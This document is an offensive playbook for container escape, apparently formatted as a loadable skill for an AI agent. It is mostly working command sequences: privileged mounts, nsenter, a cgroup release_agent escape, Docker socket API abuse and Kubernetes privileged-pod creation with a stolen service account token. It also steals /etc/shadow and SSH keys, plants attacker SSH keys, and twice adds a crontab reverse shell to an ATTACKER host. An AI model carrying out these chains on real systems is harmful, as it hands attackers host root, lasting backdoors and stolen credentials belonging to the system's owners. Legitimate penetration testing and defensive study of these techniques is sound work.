Container Escape Techniques

SKILL: Container Escape Techniques — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation.

0. RELATED ROUTING

Before going deep, consider loading:

• linux-privilege-escalation when you first need root inside the container before attempting escape
• kubernetes-pentesting for K8s-specific attack paths beyond pod escape
• linux-security-bypass when seccomp/AppArmor blocks your escape technique

Advanced Reference

Also load DOCKER_ESCAPE_CHAINS.md when you need:

• Step-by-step escape chains for common misconfigurations
• Docker-in-Docker escape scenarios
• Kubernetes-specific escape paths with full command sequences

---

1. AM I IN A CONTAINER?

# Quick checks
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"
hostname    # random hex = likely container

# Detailed check
cat /proc/1/status | head -5   # PID 1 is not systemd/init?
mount | grep -i "overlay"      # overlay filesystem?
ip addr                         # veth interface? limited NICs?

Tools for Container Detection

# amicontained: shows container runtime, capabilities, seccomp
./amicontained

# deepce: Docker enumeration and exploit suggester
./deepce.sh

# CDK: all-in-one container pentesting toolkit
./cdk evaluate

---

2. PRIVILEGED CONTAINER ESCAPE

If --privileged flag was used, the container has nearly all host capabilities and device access.

2.1 Mount Host Filesystem

# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged

# Find host disk
fdisk -l 2>/dev/null || lsblk
# Usually /dev/sda1 or /dev/vda1

# Mount host root
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Access host filesystem
cat /mnt/host/etc/shadow
chroot /mnt/host bash

2.2 nsenter (Enter Host Namespaces)

# From privileged container, enter host PID 1's namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# This gives a shell in the host's namespace context
# Effectively a full host shell

2.3 Privileged + Host PID Namespace

# If hostPID: true is set (Kubernetes)
# Access host processes via /proc
ls /proc/1/root/     # Host root filesystem
cat /proc/1/root/etc/shadow

# Inject into host process
nsenter --target 1 --mount -- bash

---

3. CAPABILITY-BASED ESCAPE

3.1 CAP_SYS_ADMIN — Most Versatile

# Check capabilities
capsh --print 2>/dev/null
grep CapEff /proc/self/status

# Escape via mounting
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
# Or mount host filesystem if device access exists
mount /dev/sda1 /mnt/host 2>/dev/null

3.2 CAP_SYS_PTRACE — Process Injection

# Inject shellcode into a host process (requires host PID namespace)
# Find a root process
ps aux | grep root

# Use gdb or python-ptrace to inject
python3 << 'EOF'
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library("c"))

# Attach to host process, inject shellcode
# ... (full inject_shellcode implementation)
EOF

3.3 CAP_NET_ADMIN

# Manipulate host network if host network namespace is shared
# ARP spoofing, route manipulation, traffic interception
iptables -L            # Can see/modify host firewall rules?
ip route               # Can modify routing?

3.4 CAP_DAC_READ_SEARCH (Shocker Exploit)

# open_by_handle_at() bypass — read files from host
# Compile and run the "shocker" exploit
# Works when DAC_READ_SEARCH capability is granted
gcc shocker.c -o shocker
./shocker /etc/shadow   # Read host file

---

4. DOCKER SOCKET ESCAPE (/var/run/docker.sock)

ls -la /var/run/docker.sock   # Check if mounted

# With Docker CLI:
docker run -v /:/host --privileged -it alpine chroot /host bash

# Without CLI (curl only) — create privileged container via API:
curl -s --unix-socket /var/run/docker.sock \
  -X POST http://localhost/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true,
       "HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
# Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence)

---

5. CGROUP V1 RELEASE_AGENT ESCAPE

Classic escape for containers with CAP_SYS_ADMIN + cgroup v1.

d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w && echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent

cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output 2>&1       # Or: reverse shell
EOF
chmod +x /cmd

sh -c "echo \$\$ > $d/w/cgroup.procs" && sleep 1
cat /output

---

6. CGROUP V2 / eBPF ESCAPE

# Cgroup v2: no release_agent file
# Check cgroup version:
mount | grep cgroup
# cgroup2 → v2

# eBPF-based escape (requires CAP_SYS_ADMIN + CAP_BPF or equivalent)
# Kernel ≥ 5.8 with unprivileged eBPF enabled
cat /proc/sys/kernel/unprivileged_bpf_disabled
# 0 = eBPF available to unprivileged users

---

7. NAMESPACE ESCAPE

User Namespace

# If user namespace creation is allowed inside container:
unshare -U --map-root-user bash
# Now "root" inside new namespace
# Combined with other capabilities → mount host filesystem

PID Namespace Escape

# If hostPID: true (shared PID namespace with host)
# Access host processes directly:
ls /proc/1/root/          # Host's root filesystem
cat /proc/1/root/etc/shadow

# Inject into host process:
nsenter -t 1 -m -u -i -n -p -- bash

---

8. RUNTIME VULNERABILITIES

runc CVE-2019-5736

Overwrites host runc binary when docker exec is used.

# Conditions: docker exec into a malicious container triggers exploit
# The container's /bin/sh is replaced with exploit binary
# When next exec happens → overwrites /usr/bin/runc on host

# PoC: modify entrypoint to overwrite runc
# This is a one-shot exploit — runc is replaced permanently

containerd CVE-2020-15257

# Host network namespace shared + containerd < 1.3.9 / 1.4.3
# Abstract Unix socket accessible from container
# Connect to containerd shim API via @/containerd-shim/*.sock

cgroups CVE-2022-0492

# Unpatched kernel allows cgroup escape without CAP_SYS_ADMIN
# release_agent writable by unprivileged user in container

---

9. KUBERNETES POD ESCAPE

See kubernetes-pentesting for full K8s attack paths.

---

10. TOOLS

---

11. CONTAINER ESCAPE DECISION TREE

Inside a container?
│
├── Privileged mode? (CapEff = 0000003fffffffff)
│   ├── Yes → mount host disk (§2.1) or nsenter (§2.2)
│   └── Partial capabilities? Check each:
│       ├── CAP_SYS_ADMIN → cgroup release_agent (§5) or mount (§3.1)
│       ├── CAP_SYS_PTRACE + hostPID → process injection (§3.2)
│       ├── CAP_DAC_READ_SEARCH → shocker exploit (§3.4)
│       └── CAP_NET_ADMIN + hostNetwork → network manipulation (§3.3)
│
├── Docker socket mounted? (/var/run/docker.sock)
│   └── Yes → create privileged container (§4)
│
├── Host PID namespace shared?
│   └── Yes → nsenter -t 1 or /proc/1/root access (§7)
│
├── Cgroup v1?
│   └── + CAP_SYS_ADMIN → release_agent escape (§5)
│
├── Runtime vulnerable?
│   ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8)
│   └── containerd < 1.3.9 → CVE-2020-15257 (§8)
│
├── Kernel vulnerable?
│   └── Check KERNEL_EXPLOITS_CHECKLIST in linux-privilege-escalation
│
├── Kubernetes pod?
│   ├── Service account with elevated RBAC? → create escape pod (§9)
│   └── hostPath volume? → access host filesystem
│
└── None of the above?
    ├── Run deepce/CDK for automated detection
    ├── Check for writable host mount points
    ├── Enumerate network for other containers/services
    └── Check /proc/self/mountinfo for interesting mounts

Docker Escape Chains & Kubernetes Escape Paths

AI LOAD INSTRUCTION: Load this for step-by-step container escape chains covering common misconfigurations, Docker-in-Docker scenarios, and Kubernetes-specific escape sequences. Assumes the main SKILL.md is already loaded for fundamental escape techniques.

---

1. ESCAPE CHAIN: PRIVILEGED CONTAINER → HOST ROOT

1.1 Full Chain (Mount + Chroot)

# Step 1: Confirm privileged mode
cat /proc/self/status | grep CapEff
# Expected: 0000003fffffffff (or 000001ffffffffff on newer kernels)

# Step 2: Identify host disk
fdisk -l 2>/dev/null
# /dev/sda1 (typical VM) or /dev/nvme0n1p1 (cloud)

# Step 3: Mount host root
mkdir -p /mnt/hostroot
mount /dev/sda1 /mnt/hostroot

# Step 4: Chroot to host
chroot /mnt/hostroot bash

# Step 5: Persistence — add SSH key
mkdir -p /root/.ssh
echo "ssh-rsa AAAA... attacker@box" >> /root/.ssh/authorized_keys

# Step 6: Clean up (optional — remove chroot artifacts)
exit
umount /mnt/hostroot

1.2 Full Chain (nsenter — Cleaner)

# Step 1: Confirm privileged + host PID visibility
ls /proc/1/root/etc/hostname
# If readable → host PID namespace is shared or we're privileged

# Step 2: nsenter into all host namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# Step 3: Now running in host context
whoami    # root
hostname  # host hostname

---

2. ESCAPE CHAIN: DOCKER SOCKET → HOST ROOT

2.1 With Docker CLI Available

# Step 1: Confirm socket access
ls -la /var/run/docker.sock
docker ps    # list running containers

# Step 2: Launch privileged escape container
docker run -d --privileged --pid=host \
  -v /:/hostfs \
  --name escape alpine sleep 3600

# Step 3: Exec into escape container
docker exec -it escape chroot /hostfs bash

# Step 4: Persistence
echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys
# Or add cron backdoor:
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER/4444 0>&1' >> /etc/crontab

# Step 5: Cleanup
exit
docker rm -f escape

2.2 Without Docker CLI (curl Only)

# Step 1: List images available on host
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json \
  | python3 -c "import sys,json; [print(i['RepoTags']) for i in json.load(sys.stdin)]"

# Step 2: Create container
CONTAINER_ID=$(curl -s --unix-socket /var/run/docker.sock \
  -X POST http://localhost/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true,
       "HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['Id'])")

# Step 3: Start container
curl -s --unix-socket /var/run/docker.sock \
  -X POST "http://localhost/containers/${CONTAINER_ID}/start"

# Step 4: Exec command (read host shadow)
EXEC_ID=$(curl -s --unix-socket /var/run/docker.sock \
  -X POST "http://localhost/containers/${CONTAINER_ID}/exec" \
  -H "Content-Type: application/json" \
  -d '{"Cmd":["cat","/host/etc/shadow"],"AttachStdout":true}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['Id'])")

curl -s --unix-socket /var/run/docker.sock \
  -X POST "http://localhost/exec/${EXEC_ID}/start" \
  -H "Content-Type: application/json" \
  -d '{"Tty":true}'

# Step 5: Cleanup
curl -s --unix-socket /var/run/docker.sock \
  -X DELETE "http://localhost/containers/${CONTAINER_ID}?force=true"

---

3. ESCAPE CHAIN: CGROUP RELEASE_AGENT → HOST COMMAND EXECUTION

# Step 1: Confirm cgroup v1 + CAP_SYS_ADMIN
mount | grep cgroup
# Look for "cgroup" (not "cgroup2")
grep CapEff /proc/self/status
# Need at minimum CAP_SYS_ADMIN

# Step 2: Find writable cgroup mount
d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null | head -n1))
[ -z "$d" ] && echo "No writable cgroup found" && exit 1

# Step 3: Create a child cgroup
mkdir -p "$d/escape"

# Step 4: Enable release notification
echo 1 > "$d/escape/notify_on_release"

# Step 5: Set release_agent to our script on host
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
# Alternative if perdir not found:
[ -z "$host_path" ] && host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > "$d/release_agent"

# Step 6: Create the command script (executed on HOST)
cat > /cmd << 'EOF'
#!/bin/sh
id > /output
cat /etc/hostname >> /output
cat /etc/shadow >> /output
EOF
chmod +x /cmd

# Step 7: Trigger — add process to cgroup then exit
sh -c "echo \$\$ > $d/escape/cgroup.procs"
sleep 2

# Step 8: Read results
cat /output

---

4. DOCKER-IN-DOCKER (DinD) ESCAPE

4.1 Nested Docker → Host

# Scenario: running inside a DinD container that has its own Docker daemon
# The inner Docker socket controls the DinD daemon, not the host

# Step 1: Check which Docker we're talking to
docker info 2>/dev/null | grep "Docker Root Dir"
# /var/lib/docker → inner daemon
# Different path → might be host socket

# Step 2: Look for host socket mount
find / -name "docker.sock" 2>/dev/null
# /var/run/docker.sock → could be host's
# /run/docker.sock → inner daemon's

# Step 3: If inner DinD is privileged against the HOST:
# The DinD container itself can see host devices
fdisk -l 2>/dev/null
# If host disk visible → mount it

# Step 4: Escape through the layers
# Inner container → DinD container (via DinD socket) → Host (via privileged mount)

4.2 DinD with Host Docker Socket Forwarded

# Common CI/CD pattern: DinD with -v /var/run/docker.sock:/var/run/docker.sock
# This means the DinD container controls the HOST Docker daemon

# Step 1: From inside inner container, if Docker socket is accessible:
docker -H unix:///var/run/docker.sock run -v /:/host --privileged alpine chroot /host bash

# Step 2: This new container runs on the HOST with full access

---

5. KUBERNETES-SPECIFIC ESCAPE PATHS

5.1 Privileged Pod → Node

# Step 1: Confirm in Kubernetes
ls /var/run/secrets/kubernetes.io/serviceaccount/
cat /etc/hostname    # pod name format

# Step 2: If pod is privileged
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Now on the Kubernetes node

# Step 3: From node, access kubelet credentials
cat /var/lib/kubelet/config.yaml
ls /etc/kubernetes/pki/    # cluster certificates

5.2 Service Account → Privileged Pod Creation

# Step 1: Read current SA token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API="https://kubernetes.default.svc"

# Step 2: Check permissions
curl -sk "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NS\"}}"

# Step 3: If can create pods → create privileged escape pod
curl -sk "$API/api/v1/namespaces/$NS/pods" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {"name": "escape-pod"},
    "spec": {
      "hostPID": true,
      "hostNetwork": true,
      "containers": [{
        "name": "escape",
        "image": "alpine",
        "command": ["/bin/sh","-c","nsenter --target 1 --mount --uts --ipc --net --pid -- bash -c \"cat /etc/shadow > /tmp/shadow\"; sleep 3600"],
        "securityContext": {"privileged": true},
        "volumeMounts": [{"name":"hostfs","mountPath":"/host"}]
      }],
      "volumes": [{"name":"hostfs","hostPath":{"path":"/"}}]
    }
  }'

# Step 4: Exec into escape pod
curl -sk "$API/api/v1/namespaces/$NS/pods/escape-pod/exec?command=/bin/sh&stdin=true&stdout=true&tty=true" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade"

5.3 hostPath Volume → Node Filesystem

# If pod has a hostPath volume mounted (even non-privileged):
# Step 1: Check mounts
mount | grep -v "overlay\|tmpfs\|proc\|cgroup"

# Step 2: If /host or similar exists:
ls /host/etc/shadow      # Read node's shadow
cat /host/root/.ssh/id_rsa   # SSH keys

# Step 3: Write to host for persistence
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER/4444 0>&1' >> /host/etc/crontab

---

6. ESCAPE CHAIN SELECTION MATRIX